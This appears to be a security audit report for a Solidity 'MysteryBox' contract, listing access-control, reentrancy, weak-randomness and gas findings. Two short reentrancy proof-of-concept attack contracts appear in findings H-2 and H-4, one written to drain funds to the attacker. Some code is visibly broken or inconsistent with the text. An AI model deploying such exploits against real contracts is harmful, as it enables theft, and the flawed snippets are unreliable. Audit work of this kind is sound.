MysteryBox Audit Report

Version 1.0

0xBlockPay

October 9, 2024

MysteryBox Audit Report

0xBlockPay

September 30, 2024

Prepared by: 0xBlockPay

Lead Security Researcher: - eth0x

Table of Contents

Protocol Summary

MysteryBox is a thrilling protocol where users can purchase mystery boxes containing random rewards! User can open box to reveal amazing prizes, trade them with others.

Disclaimer

The 0xBlockPay team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

The findings describe in this document correspond the following repository and commit hash:

```
git clone https://github.com/Cyfrin/2024-09-mystery-box.git
```

```
Commit Hash: main branch
```

In Scope:

```
./src/
|__ MysteryBox.sol
```

- Solc Version: 0.8.0
- Chain(s) EVM Equivalent Chains Only
- Standard ERC20 Tokens Only

Roles

- Owner/Admin (Trusted) - Can set the price of boxes, add new rewards, and withdraw funds.
- User/Player - Can purchase mystery boxes, open them to receive rewards, and trade rewards with others.

Executive Summary

*We spend 10 hours with 1 auditor using foundry, aderyn and slither tools.

Issues found

Severity	Number of issues found
High	5
Medium	1
Low	4
Info	5
Gas	4
Total	19

Findings

High

MysteryBox.sol

[H-1] Lack of `onlyOwner` modifier or `if statement` in function `changeOwner`

Because the function does not have the `onlyOwner` modifier or an `if` statement to check protocol ownership, all users can change protocol ownership and can be protoco's admin/owner."

In smart contracts, especially those written in Solidity, the `onlyOwner` modifier is commonly used to restrict access to certain functions so that only the contract owner can execute them12. Without such a modifier or an equivalent access control mechanism, any user can potentially call the function and change the ownership, which can lead to security vulnerabilities.

Through this vulnerability potential attacker can: - change the mystery box's price, - withdrawFunds - addReward

```
function changeOwner(address _newOwner) public {
  owner = _newOwner;
}
```

Recommended Mitigation:

Add the `onlyOwner` modifier, `if` or `require` statment to check ownership.

```
function changeOwner(address _newOwner) public onlyOwner {
  owner = _newOwner;
}

// @audit to

function changeOwner(address _newOwner) public onlyOwner {
  require(msg.sender == owner, "Only owner can withdraw");

  owner = _newOwner;
}
```

[H-2] The openBox function is in danger of Re-entrancy attack.

A reentrancy attack is a type of vulnerability in smart contracts where an attacker can repeatedly call a function before the previous execution is complete, potentially draining funds from the contract.

Recommended Mitigation:

Use the checks-effects-interactions pattern: First, check conditions, then update the state, and finally interact with other contracts. Implement reentrancy guards: Use a mutex or a similar mechanism to prevent reentrant calls4.

This line of the code should be before `if` statmend:

```
 boxesOwned[msg.sender] -= 1;

 if()
 ...
```

POC

```
pragma solidity ^0.8.0;

import "./MysteryBox.sol";

contract Attack {
    MysteryBox public mysteryBox;

    constructor(address _mysteryBox) {
        mysteryBox = MysteryBox(__mysteryBox);
    }

    // Fallback function to receive rewards
    fallback() external payable {
        if (mysteryBox.boxesOwned(address(this)) > 0) {
            mysteryBox.openBox();
        }
    }

    function attack() public {
        mysteryBox.openBox();
    }
}
```

[H-3] In the openBox function weak randomness.

The function is using a week random value. The `block.timestamp` is susceptible on manipulation by a validator's administrator. It is quite easy to prepare request for the highest reward `rewardsOwned [msg.sender].push(Reward("Gold Coin", 1 ether))`.

```
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.
    timestamp, msg.sender))) % 100;
```

Recommended Mitigation: Better use oracle for that like Chainlink's VRF or similar well auditing solution.

[H-4] The functions `claimAllRewards` and `claimSingleReward` have similar problem with re-entrancy attack like H-2.

POC

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./MysteryBox.sol";

contract Attack {
    MysteryBox public mysteryBox;
    address public owner;

    constructor(address _mysteryBoxAddress) {
        mysteryBox = MysteryBox(_mysteryBoxAddress);
        owner = msg.sender;
    }

    // Fallback function to receive ETH and re-enter the withdraw function
    fallback() external payable {
        if (address(mysteryBox).balance >= 0.1 ether) {
            mysteryBox.withdrawFunds();
        }
    }

    function attack() external payable {
        require(msg.sender == owner, "Only owner can attack");
        require(msg.value >= 0.1 ether, "Need at least 0.1 ETH to attack");

        // Fund the attack contract and start the attack
        mysteryBox.buyBox{value: 0.1 ether}();
        mysteryBox.withdrawFunds();
    }

    // Function to withdraw stolen funds
    function withdraw() external {
        require(msg.sender == owner, "Only owner can withdraw");
        payable(owner).transfer(address(this).balance);
    }
}
```

Recommended Mitigation:

A part for deleting `delete rewardsOwned[msg.sender]` and `delete rewardsOwned[msg.sender][_index]` should be befor `rewardsOwned[_to].push(rewardsOwned[msg.sender][_index]);`

```
...
Reward[] rewards = rewardsOwned[msg.sender][_index];
```

```
3  delete rewardsOwned[msg.sender][_index];
4  rewardsOwned[_to].push(rewards);
```

To protect your smart contract from reentrancy attacks, you can use the `checks-effects-interactions` pattern or rich libraries from OpenZepplin like `ReentrancyGuard` or `PullPayment`.

[H-5] The function `claimAllRewards` can be hit by DDOS attack.

A Distributed Denial of Service (DDoS) attack on a smart contract aims to overwhelm the contract or the blockchain network with excessive transactions, causing delays or making the contract unusable.

```
1  for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
2    totalValue += rewardsOwned[msg.sender][i].value;
3  }
```

The attacker can change the protocol's ownership or buy 100 MysteryBoxes and blocking the protocol.

Recommended Mitigation:

Insetd of count `totalValue` in loop beter is create map

```
1  mapping(address => uint256) public totalValues;
```

and modifing this map during opening, transferring, or withdrawing funds.

```
1  function openBox() {
2    ...
3    totalValues[msg.sender]+=reward.value;
4    ...
5  }
```

Medium

[M-1] Lack of `receieve` function

A receive function that is automatically called when Ether is sent to the contract. It logs the sender's address and the amount received.

```
1  receive() external payable {
2    emit Received(msg.sender, msg.value);
3  }
```

Low

[L-1] It is necessary to modify the `setUp` function to run the test.

```
function setUp() public {
  owner = makeAddr("owner");
  user1 = address(0x1);
  user2 = address(0x2);

  // @audit set initial balances for users
  vm.deal(owner, 100 ether);
  vm.deal(user1, 50 ether);
  vm.deal(user2, 50 ether);

  vm.prank(owner);
  // @audit add value test fails
  mysteryBox = (new MysteryBox){value: 1 ether}();
  console.log("Reward Pool Length:", mysteryBox.getRewardPool().length)
      ;
}
```

[L-2] Change user to owner for `testSetBoxPrice` function.

```
function testSetBoxPrice() public {
  // audit add vm.parank to change user
  vm.prank(owner);
...
}
```

[L-3] Add user and change ID in rewardsPoll to run test

```
function testAddReward() public {
  // @audit add this to change user
  vm.prank(owner);

  mysteryBox.addReward("Diamond Coin", 2 ether);
  MysteryBox.Reward[] memory rewards = mysteryBox.getRewardPool();
  assertEq(rewards.length, 5);
  // @audit It is necessary to change the ID because the constructor
      sets 4 slots to default values.
  assertEq(rewards[4].name, "Diamond Coin");
  assertEq(rewards[4].value, 2 ether);
}
```

[L-4] In function `testWithdrawFunds` is necessary to change `assertEq(ownerBalanceAfter - ownerBalanceBefore, 0.1 ether);` parameter.

To run test in asserEq should be 0.2 eth.

```
function testWithdrawFunds() public {
  // @audit at the beginig on smart contract is 0.1 eth (during
     constructor initialization)
  assertEq(ownerBalanceAfter - ownerBalanceBefore, 0.2 ether);
}
```

Recommended Mitigation: But during initialization sending founds to smart contract is not necessary and can be remove from constructor.

Informational

[I-1] In all functions, the type can be changed from `public` to `external`.

Because functions are not using internally can be change their type to external.

[I-2] In contract is initialized `boxPrice = 0.1 ether;` 0.1 ether can be as a constant value or even better as a argument for constructor.

This approach allows for more flexible initialization compared to using a constant value.

[I-3] Perhaps it is necessary to reconsider the Protocol, as there is no function for potential users to withdraw rewards. Additionally, attention should be given to the method of collecting rewards and determining who is responsible for sending rewards to the protocol.

In the Protocol's `constructor` is:

```
...
rewardPool.push(Reward("Gold Coin", 0.5 ether));
rewardPool.push(Reward("Silver Coin", 0.25 ether));
rewardPool.push(Reward("Bronze Coin", 0.1 ether));
rewardPool.push(Reward("Coal", 0 ether));
...
```

However, these values have a virtual cost, as the balance in the MysteryBox contract after initialization is 0.1 ETH. Insted of `0.85 eth`.

Specifically, you should consider clarifying the Reward Collection Process: Define how rewards are collected and who is responsible for sending them to the protocol.

[I-4] Please consider upgrade Solidity version to the newest version.

At this moment in the Protocol is `Solidity 0.8.0` beter will be `0.8.25`

[I-5] Lack of events in the Protocol's functions.

Events in smart contracts are crucial for enabling communication between the contract and external applications or user interfaces

- Notification Mechanism: Events allow smart contracts to notify external applications or listeners about specific actions or changes. For example, when a transaction occurs, an event can be emitted to signal this change1.
- Efficient Data Retrieval: Events provide an efficient way to retrieve data from past transactions stored on the blockchain. This is particularly useful for tracking the history of certain actions or states within the contract1.
- Interaction with User Interfaces: By emitting events, smart contracts can facilitate effective interaction with user interfaces, ensuring that users are kept informed about important updates or changes1.
- Logging and Transparency: Events can be logged on the blockchain, making them accessible for future reference. This enhances transparency and allows for better auditing and verification of contract activities2.
- Indexed Events: In Solidity, events can be indexed, making it easier to search and filter through the event history. This is particularly useful for developers who need to query specific events.

Gas

[G-1] Change `for loop` for count `reward's totalValue` to `map`

Recommended Mitigation:

Please check H-5

[G-2] The `rewardPool` is declaring but is not using in the Protocol

```
constructor() payable {
  owner = msg.sender;
  boxPrice = 0.1 ether;
  require(msg.value >= SEEDVALUE, "Incorrect ETH sent");
  // Initialize with some default rewards
  rewardPool.push(Reward("Gold Coin", 0.5 ether));
  rewardPool.push(Reward("Silver Coin", 0.25 ether));
  rewardPool.push(Reward("Bronze Coin", 0.1 ether));
  rewardPool.push(Reward("Coal", 0 ether));
}
```

Recommended Mitigation:

It can be use in:

```
// @audit it is only example not truly implementation
function openBox() public {
  require(boxesOwned[msg.sender] > 0, "No boxes to open");

  // @audit it is wrong please check Hight vulnerabilities
  uint256 randomValue = uint256(keccak256(abi.encodePacked(block.
      timestamp, msg.sender))) % 100;

  boxesOwned[msg.sender] -= 1;
  Reward reward = rewardPool[randomValue];
  rewardsOwned[msg.sender].push(reward);
}
```

[G-3] `require(msg.sender == owner, "Only owner can set price")` can be rewriten to

Recommended Mitigation: `Require and error` is similar gas efficent like `if and revert`

```
error MysteryBox__OnlyOwnerCanSetPrice();
require(msg.sender == owner, MysteryBox__OnlyOwnerCanSetPrice)
```

[G-4] in functions with require `msg.sender == owner` can be use onlyOwner modifier.